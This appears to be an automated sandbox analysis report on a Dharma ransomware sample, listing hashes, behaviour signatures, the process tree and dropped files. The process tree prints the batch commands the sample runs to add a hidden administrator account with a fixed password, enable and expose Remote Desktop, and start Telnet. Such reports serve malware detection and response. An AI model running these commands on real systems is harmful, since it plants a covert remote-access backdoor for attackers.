Resubmissions

18-03-2024 22:36

240318-2h9hwsba88 10

Analysis

  • max time kernel
    1796s
  • max time network
    1161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-03-2024 22:36

General

  • Target

    Ransomware/Dharma.exe

  • Size

    11.5MB

  • MD5

    928e37519022745490d1af1ce6f336f7

  • SHA1

    b7840242393013f2c4c136ac7407e332be075702

  • SHA256

    6fb303dd8ba36381948127d44bd8541e4a1ab8af07b46526ace08458f2498850

  • SHA512

    8040195ab2b2e15c9d5ffa13a47a61c709738d1cf5e2108e848fedf3408e5bad5f2fc5f523f170f6a80cb33a4f5612d3d60dd343d028e55cfc08cd2f6ed2947c

  • SSDEEP

    196608:JZnMy97vfgla5NX7YaP6uIEJsp+jb4agYSUpHm6g90MrYmhZZoG0tLzr1+W:LnMy9rfma5NrYaVzC0b4vpZZoG0tR+W

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Sets service image path in registry 2 TTPs 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: LoadsDriver 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Ransomware\Dharma.exe
    "C:\Users\Admin\AppData\Local\Temp\Ransomware\Dharma.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe
      "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4580
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        3⤵
          PID:3228
      • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe
        "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe"
        2⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Suspicious behavior: LoadsDriver
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1656
      • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe
        "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1592
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\Shadow.bat" "
        2⤵
          PID:2220
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\systembackup.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1888
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4276
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2836
            • C:\Windows\SysWOW64\find.exe
              Find "="
              4⤵
                PID:3968
            • C:\Windows\SysWOW64\net.exe
              net user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2924
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
                4⤵
                  PID:1244
              • C:\Windows\SysWOW64\net.exe
                net localgroup Administrators systembackup /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:632
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators systembackup /add
                  4⤵
                    PID:3456
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4040
                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                    WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
                    4⤵
                      PID:3772
                    • C:\Windows\SysWOW64\find.exe
                      Find "="
                      4⤵
                        PID:3768
                    • C:\Windows\SysWOW64\net.exe
                      net localgroup "Remote Desktop Users" systembackup /add
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4544
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add
                        4⤵
                          PID:3272
                      • C:\Windows\SysWOW64\net.exe
                        net accounts /forcelogoff:no /maxpwage:unlimited
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1500
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
                          4⤵
                            PID:3664
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
                          3⤵
                            PID:1408
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
                            3⤵
                              PID:1328
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
                              3⤵
                                PID:4488
                              • C:\Windows\SysWOW64\attrib.exe
                                attrib C:\users\systembackup +r +a +s +h
                                3⤵
                                • Sets file to hidden
                                • Views/modifies file attributes
                                PID:1312
                              • C:\Windows\SysWOW64\netsh.exe
                                netsh firewall add portopening TCP 3389 "Remote Desktop"
                                3⤵
                                • Modifies Windows Firewall
                                PID:2272
                              • C:\Windows\SysWOW64\sc.exe
                                sc config tlntsvr start=auto
                                3⤵
                                • Launches sc.exe
                                PID:4424
                              • C:\Windows\SysWOW64\net.exe
                                net start Telnet
                                3⤵
                                  PID:4396
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 start Telnet
                                    4⤵
                                      PID:4928
                                • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Enumerates connected drives
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  • Suspicious use of SetWindowsHookEx
                                  PID:3156
                              • C:\Windows\system32\rundll32.exe
                                "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
                                1⤵
                                  PID:1512
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k UnistackSvcGroup
                                  1⤵
                                    PID:1340

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\Everything.ini

                                    Filesize

                                    19KB

                                    MD5

                                    5531bbb8be242dfc9950f2c2c8aa0058

                                    SHA1

                                    b08aadba390b98055c947dce8821e9e00b7d01ee

                                    SHA256

                                    4f03ab645fe48bf3783eb58568e89b3b3401956dd17cb8049444058dab0634d7

                                    SHA512

                                    3ce7e1d7b330cc9d75c3ce6d4531afe6bfa210a0bcbb45d4a7c29aabff79bebf3263fe0b5377956e2f88036b466383f001a7a6713da04a411b1aceb42bc38291

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe

                                    Filesize

                                    1024KB

                                    MD5

                                    1dbd041df79064abbd34c2dac1e4a8f1

                                    SHA1

                                    56475142e3597c6fd351c28c57a6919787ea02d9

                                    SHA256

                                    3d0934698293a599453d506298df879ebf9194f7e287f91e98f99b719f92eb07

                                    SHA512

                                    c8891389c72624a76a4f7d92beffc4c0f0ff167a641f7aec47af273c360d7809eb1cb08172d70b328694962f4d9aaa024bc84e8fcaf84e5637501e21368ff5a7

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe

                                    Filesize

                                    1.1MB

                                    MD5

                                    d455eb9a1e315b831596cbf364199f1b

                                    SHA1

                                    34996b9d9ea88e4dd140dfdb230c5a6a08c56551

                                    SHA256

                                    8a783e7148943736032cd443cfb05692a2bba905a3a0d76657eaa1ecefa39bfc

                                    SHA512

                                    b85979a9bb04b1348dc5caee2eb7ae57e2f3ff19425a1dbd054cb56f55d7f8596ef02b2d4f44dfd5b37f7b600fc26575d6bcd47e7ab13d99f8474552e4ac8929

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\Shadow.bat

                                    Filesize

                                    28B

                                    MD5

                                    df8394082a4e5b362bdcb17390f6676d

                                    SHA1

                                    5750248ff490ceec03d17ee9811ac70176f46614

                                    SHA256

                                    da3f155cfb98ce0add29a31162d23da7596da44ba2391389517fe1a2790da878

                                    SHA512

                                    8ce519dc5c2dd0bbb9f7f48bedf01362c56467800ac0029c8011ee5d9d19e3b3f2eff322e7306acf693e2edb9cf75caaf7b85eb8b2b6c3101ff7e1644950303d

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe

                                    Filesize

                                    4.9MB

                                    MD5

                                    d8a964086d319638b3a087e2261b63b8

                                    SHA1

                                    6835c2f2635dfbb3b070539856932b7c0ff5ed0b

                                    SHA256

                                    60cee13153e037e61504d3447951130affa182102c0da162d412186b11a184d3

                                    SHA512

                                    d49d02384c4248fcaaf89dca542beca22ea7bf36fc230430cf03d8c163373dd76fc853c0e941e276ac9ea5ee3a5360c9e54dcd521c5933a13ec9a576719777a6

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe

                                    Filesize

                                    4.6MB

                                    MD5

                                    bb287329491091d4a7bb1abc8a7fb449

                                    SHA1

                                    ea988f76999e558b7acf2f068f9f9d2f2bca2c57

                                    SHA256

                                    290869a12be65068838e51369a27dc5dae0d2e4ced08a80471fcbfef5e17ab07

                                    SHA512

                                    31e92c5ec391c1bf4471a41e517e1493e9c6b478d533a1bbfe59f7d73e40bf5e00140dfb6e7144df727bd548111fba4076f7c97d656c12ddea34ec3559992ae7

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe

                                    Filesize

                                    4.4MB

                                    MD5

                                    f9d7096ff5b12428f22ae58e09b82186

                                    SHA1

                                    2b59a19b1b380ee47f19ae2b2bb9ad0c478c92bf

                                    SHA256

                                    d76322c4fef9f6735b90c0bc903458e061df38ff47d13ec2d224e1bd5efb10cb

                                    SHA512

                                    ac01ecee28bd7d4d0efd3a40ff2ea567d6e379a334751110af80eee9ff9092fbfdb016f8990d1cfa56d0abeb5e6c95523daedfebbb3c76c8f18ef4629920189f

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe

                                    Filesize

                                    2.1MB

                                    MD5

                                    dd59f0df3a88eb922fb33dc64eea1623

                                    SHA1

                                    c9a7912fda1f862f1634adfb6b3662208d476516

                                    SHA256

                                    648c4aea734b7bdb032ee88604575a60bb3a4ba2b186d133f2a3cfb0a7e78d05

                                    SHA512

                                    9ca19980d4a1e5b1be48ca950ef2a137edb90dc3bcd24b178440d5827b6e379bd1a3a1f310262e150b7b93614bfca36ea789ffb1f5d4955c96712aa0b673528b

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe

                                    Filesize

                                    1.5MB

                                    MD5

                                    e10324677becf7720b165176c9abd305

                                    SHA1

                                    ece77806a08d4780a9e077107f4d862fc7acb393

                                    SHA256

                                    f7cc91e89331b01b8177f0e6e0808760661f25b3ae759498df5dbee66e4f8757

                                    SHA512

                                    4ceea7fc0a1bd14e7b3987a4b8e925b9d08f48716798fd2666b180e7374dbed41b9bb1ca895c3fca39b55838f3ad5e81d2fa1509bad4ece849aa787c98cfd296

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe

                                    Filesize

                                    4.4MB

                                    MD5

                                    6fb9b8f3d9136f53d98d6bfbf7869c62

                                    SHA1

                                    a127c3fd16d5945e907542a9d5a434e29c3a0dc4

                                    SHA256

                                    1b298b50adba8250abb8923d2aa7c9c8b33ba7e3f8e17c7965829448e31bc851

                                    SHA512

                                    16b2edccc82e653a4bc7ae26bc49d4db2e00129823a1a4ffde585e23987bec857c860885f5b1e4ab359b5d60fe296c88f366101aa918f7fe7793fccfb681433c

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe

                                    Filesize

                                    125KB

                                    MD5

                                    597de376b1f80c06d501415dd973dcec

                                    SHA1

                                    629c9649ced38fd815124221b80c9d9c59a85e74

                                    SHA256

                                    f47e3555461472f23ab4766e4d5b6f6fd260e335a6abc31b860e569a720a5446

                                    SHA512

                                    072565912208e97cc691e1a102e32fd6c243b5a3f8047a159e97aabbe302bddc36f3c52cecde3b506151bc89e0f3b5acf6552a82d83dac6e0180c873d36d3f6b

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\stzfrrjquvatbtka.sys

                                    Filesize

                                    674KB

                                    MD5

                                    b2233d1efb0b7a897ea477a66cd08227

                                    SHA1

                                    835a198a11c9d106fc6aabe26b9b3e59f6ec68fd

                                    SHA256

                                    5fd17e3b8827b5bb515343bc4066be0814f6466fb4294501becac284a378c0da

                                    SHA512

                                    6ca61854db877d767ce587ac3d7526cda8254d937a159fd985e0475d062d07ae83e7ff4f9f42c7e1e1cad5e1f408f6849866aa4e9e48b29d80510e5c695cee37

                                  • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\systembackup.bat

                                    Filesize

                                    1KB

                                    MD5

                                    b4b2f1a6c7a905781be7d877487fc665

                                    SHA1

                                    7ee27672d89940e96bcb7616560a4bef8d8af76c

                                    SHA256

                                    6246b0045ca11da483e38317421317dc22462a8d81e500dee909a5269c086b5f

                                    SHA512

                                    f883cea56a9ac5dcb838802753770494ce7b1de9d7da6a49b878d534810f9c87170f04e0b8b516ae19b9492f40635a72b3e8a4533d39312383c520abe00c5ae6

                                  • memory/1340-225-0x000001DD940B0000-0x000001DD940B1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1340-189-0x000001DD8BB40000-0x000001DD8BB50000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1340-224-0x000001DD93FA0000-0x000001DD93FA1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1340-223-0x000001DD93FA0000-0x000001DD93FA1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1340-221-0x000001DD93F70000-0x000001DD93F71000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1340-205-0x000001DD8BC40000-0x000001DD8BC50000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1592-160-0x00000000767E0000-0x00000000768D0000-memory.dmp

                                    Filesize

                                    960KB

                                  • memory/1592-166-0x00000000767E0000-0x00000000768D0000-memory.dmp

                                    Filesize

                                    960KB

                                  • memory/1592-165-0x0000000000400000-0x0000000000B02000-memory.dmp

                                    Filesize

                                    7.0MB

                                  • memory/1592-164-0x0000000000400000-0x0000000000B02000-memory.dmp

                                    Filesize

                                    7.0MB

                                  • memory/1592-154-0x0000000000400000-0x0000000000B02000-memory.dmp

                                    Filesize

                                    7.0MB

                                  • memory/1656-176-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                    Filesize

                                    10.8MB

                                  • memory/1656-168-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                    Filesize

                                    10.8MB

                                  • memory/1656-163-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                    Filesize

                                    10.8MB